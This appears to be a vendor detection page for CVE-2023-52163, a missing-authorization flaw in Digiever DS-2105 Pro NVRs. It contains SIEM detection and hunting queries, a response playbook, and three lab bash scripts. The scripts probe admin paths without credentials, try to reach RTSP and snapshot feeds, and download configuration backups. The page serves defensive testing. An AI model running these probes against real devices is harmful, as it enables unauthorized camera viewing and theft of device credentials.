Detect Digiever DS-2105 Pro Missing Authorization Exploitation (CVE-2023-52163) in Sumo Logic CSE
Detects exploitation of CVE-2023-52163, a missing authorization vulnerability (CWE-862) in Digiever DS-2105 Pro NVR devices. This KEV-listed vulnerability allows unauthenticated attackers to access restricted functionality or administrative interfaces without proper credential validation. Threat actors actively exploit exposed NVR devices for initial access, lateral movement, and persistence in OT/IoT environments.
MITRE ATT&CK
Sumo Detection Query
_index=network OR _index=proxy
| where %"destination.port" in ("80", "443", "8080", "8443", "554", "37777")
| where matches(%"url.path", "(?i).*(cgi-bin|admin|system|config|setup|api).*")
| where isNull(%"http.request.headers.authorization") or isEmpty(%"http.request.headers.authorization")
| timeslice 5m
| stats count as request_count, dcount(%"source.ip") as unique_sources, values(%"url.path") as paths by %"destination.ip", _timeslice
| where request_count > 5 or unique_sources > 2
| if (request_count > 20, "high", "medium") as severity
| sort by request_count desc Sumo Logic query surfacing clusters of unauthenticated requests to NVR administrative URL paths, grouped by destination IP in 5-minute windows to distinguish active exploitation from background scanning noise.
Data Sources
Required Tables
False Positives & Tuning
- Automated device inventory tools that enumerate management interfaces without credential injection
- Internal SIEM connectors polling device syslog endpoints without HTTP auth
- Vendor-supplied management software with non-standard authentication mechanisms
Other platforms for CVE-2023-52163
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Unauthenticated Admin Endpoint Enumeration
Expected signal: HTTP GET requests to /cgi-bin/ and /admin/ paths from the test host IP to the NVR device on port 80, with no Authorization header present in the HTTP request headers
- Test 2RTSP Stream Access Without Authentication
Expected signal: Network connections to TCP/554 (RTSP) and TCP/80 from test host; HTTP requests to /cgi-bin/snapshot.cgi without authentication headers; potential RTSP DESCRIBE request in network capture
- Test 3Configuration Extraction via Unauthenticated API
Expected signal: Multiple HTTP GET requests to configuration and backup endpoints without Authorization headers; file download activity if 200 responses received; DNS lookups for NVR hostname from test system
Response Playbook
Triage
- Identify the destination IP(s) triggering the alert and confirm whether they correspond to Digiever DS-2105 Pro NVR devices in the asset inventory. Check CMDB and DHCP/DNS records for device registration.
- Determine whether the source IP is internal (authorized management host, monitoring system) or external (internet-facing exploitation attempt). Geolocate external IPs and cross-reference against threat intelligence feeds.
- Review the specific URL paths accessed. Prioritize paths under /cgi-bin/admin, /system/config, or /setup as these indicate attempts to read or modify device configuration without authentication.
- Check HTTP response codes: 200/201 responses to unauthenticated admin requests confirm successful exploitation. 401/403 responses indicate the device may be patched or the path requires different credentials.
Containment
- If exploitation is confirmed, immediately isolate the affected NVR device from the network by disabling the switch port or applying an ACL blocking all inbound traffic to the device IP except from authorized management VLANs.
- Block the offending source IP(s) at the perimeter firewall and WAF. If the source is external, also null-route at the upstream BGP level if available. Preserve netflow/PCAP data before blocking for forensic use.
Evidence Collection
- Capture full PCAP or proxy logs for all sessions from the offending source IP to the NVR device, preserving HTTP request bodies and response payloads to determine what data was accessed or modified.
- Export NVR device logs if accessible (syslog forwarding, local log download via admin UI or serial console) to document all configuration changes, user creations, or stream access events during the exploitation window.
Escalation Criteria
- !Escalate to incident response if HTTP 200 responses were returned to unauthenticated admin requests, indicating successful unauthorized configuration access, credential extraction, or firmware modification.
- !Escalate immediately if the NVR device monitors physical security-critical areas (server rooms, data centers, executive areas) or if evidence suggests the attacker pivoted from the NVR to adjacent network segments.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
HTTP server access logs on the NVR device showing unauthenticated requests to /cgi-bin/ and /admin/ paths with 200-series response codes - >
Netflow records showing sustained or repeated TCP connections from an external IP to NVR management ports (80, 443, 8080) - >
NVR internal configuration database showing unexpected admin account additions, RTSP stream credential changes, or firmware update timestamps - >
DNS query logs showing reverse lookups or hostname resolution for the NVR IP from unfamiliar internal hosts post-exploitation
Tuning Guidance
Start by suppressing alerts originating from known NVR management hosts (IT ops workstations, monitoring servers) identified in the asset inventory. Build an allowlist of authorized source IPs for each NVR device. Raise the request_count threshold from 5 to 15 if background noise from legacy monitoring tools is high. For environments without Digiever NVRs, disable the detection or restrict it to known NVR IP ranges using a watchlist. Consider adding User-Agent string matching for known Digiever management software to reduce false positives from legitimate vendor tooling.
Hunting Queries
Threat hunt for NVR management interface access patterns across the estate over the past 7 days to identify other potentially exploited devices or reconnaissance activity preceding targeted exploitation
DeviceNetworkEvents
| where TimeGenerated > ago(7d)
| where RemotePort in (80, 443, 8080, 8443, 554, 37777)
| where InitiatingProcessFileName !in ("chrome.exe", "firefox.exe", "msedge.exe", "curl.exe", "wget.exe")
| where RemoteUrl has_any ("/cgi-bin/", "/admin/", "/nvr/", "/system/", "/setup")
| summarize count() by DeviceName, RemoteIP, RemoteUrl, RemotePort
| where count_ > 10
| order by count_ desc index=network earliest=-7d
| search dest_port IN (80, 443, 8080, 8443, 554, 37777)
| search uri_path="*/cgi-bin/*" OR uri_path="*/admin/*" OR uri_path="*/nvr/*"
| stats count BY src_ip, dest_ip, uri_path
| where count > 10
| sort - count Atomic Red Team Tests
Simulates an attacker enumerating administrative endpoints on the Digiever DS-2105 Pro without providing any authentication credentials, testing whether the missing authorization check allows access.
Command
#!/bin/bash
# LAB ONLY — target must be an isolated test NVR device
TARGET_IP="192.168.100.50"
PATHS=("/cgi-bin/admin" "/cgi-bin/system" "/admin/config" "/system/setup" "/api/v1/info" "/cgi-bin/get_status")
for path in "${PATHS[@]}"; do
echo "[*] Testing: http://${TARGET_IP}${path}"
curl -s -o /dev/null -w "Path: ${path} | Status: %{http_code} | Size: %{size_download}\n" \
-H 'User-Agent: Mozilla/5.0' \
--max-time 5 \
"http://${TARGET_IP}${path}"
done Cleanup
No cleanup required — read-only HTTP GET requests; no state changes made to the device Expected Telemetry
HTTP GET requests to /cgi-bin/ and /admin/ paths from the test host IP to the NVR device on port 80, with no Authorization header present in the HTTP request headers
Expected Detection
Alert triggers on >5 requests to administrative paths without Authorization header from a single source IP within the 5-minute detection window
Attempts to access RTSP video streams on the NVR without authentication, simulating an attacker exploiting missing authorization to view live camera feeds.
Command
#!/bin/bash
# LAB ONLY — target must be an isolated test NVR device
TARGET_IP="192.168.100.50"
echo "[*] Attempting unauthenticated RTSP stream access"
# Test RTSP DESCRIBE without credentials
curl -s --max-time 10 \
-H 'CSeq: 1' \
-H 'User-Agent: LibVLC/3.0.0' \
"rtsp://${TARGET_IP}:554/stream1" 2>&1 | head -30
# Also test HTTP-based stream endpoint
curl -s -o /dev/null -w "HTTP Stream Status: %{http_code}\n" \
--max-time 5 \
"http://${TARGET_IP}:80/cgi-bin/snapshot.cgi" Cleanup
Terminate any lingering curl processes: pkill -f 'curl.*192.168.100.50' Expected Telemetry
Network connections to TCP/554 (RTSP) and TCP/80 from test host; HTTP requests to /cgi-bin/snapshot.cgi without authentication headers; potential RTSP DESCRIBE request in network capture
Expected Detection
Network detection rules fire on unauthenticated requests to NVR streaming endpoints; RTSP anomaly detection if deployed
Simulates post-exploitation configuration extraction by an attacker who has confirmed the missing authorization vulnerability, attempting to download device configuration files without credentials.
Command
#!/bin/bash
# LAB ONLY — target must be an isolated test NVR device
TARGET_IP="192.168.100.50"
OUTDIR="/tmp/nvr_test_output"
mkdir -p "${OUTDIR}"
CONFIG_PATHS=(
"/cgi-bin/get_config"
"/cgi-bin/export_config"
"/system/config/backup"
"/admin/backup"
"/api/v1/system/config"
)
for path in "${CONFIG_PATHS[@]}"; do
OUTFILE="${OUTDIR}/$(echo ${path} | tr '/' '_').bin"
HTTP_CODE=$(curl -s -w "%{http_code}" -o "${OUTFILE}" \
--max-time 10 \
-H 'User-Agent: Mozilla/5.0' \
"http://${TARGET_IP}${path}")
FILE_SIZE=$(wc -c < "${OUTFILE}")
echo "Path: ${path} | Status: ${HTTP_CODE} | Bytes: ${FILE_SIZE}"
done
echo "[*] Test complete. Output in ${OUTDIR}" Cleanup
rm -rf /tmp/nvr_test_output Expected Telemetry
Multiple HTTP GET requests to configuration and backup endpoints without Authorization headers; file download activity if 200 responses received; DNS lookups for NVR hostname from test system
Expected Detection
Alert on sustained unauthenticated requests to /cgi-bin/ and /system/config paths; DLP alert if configuration data containing credential fields is transferred to non-authorized host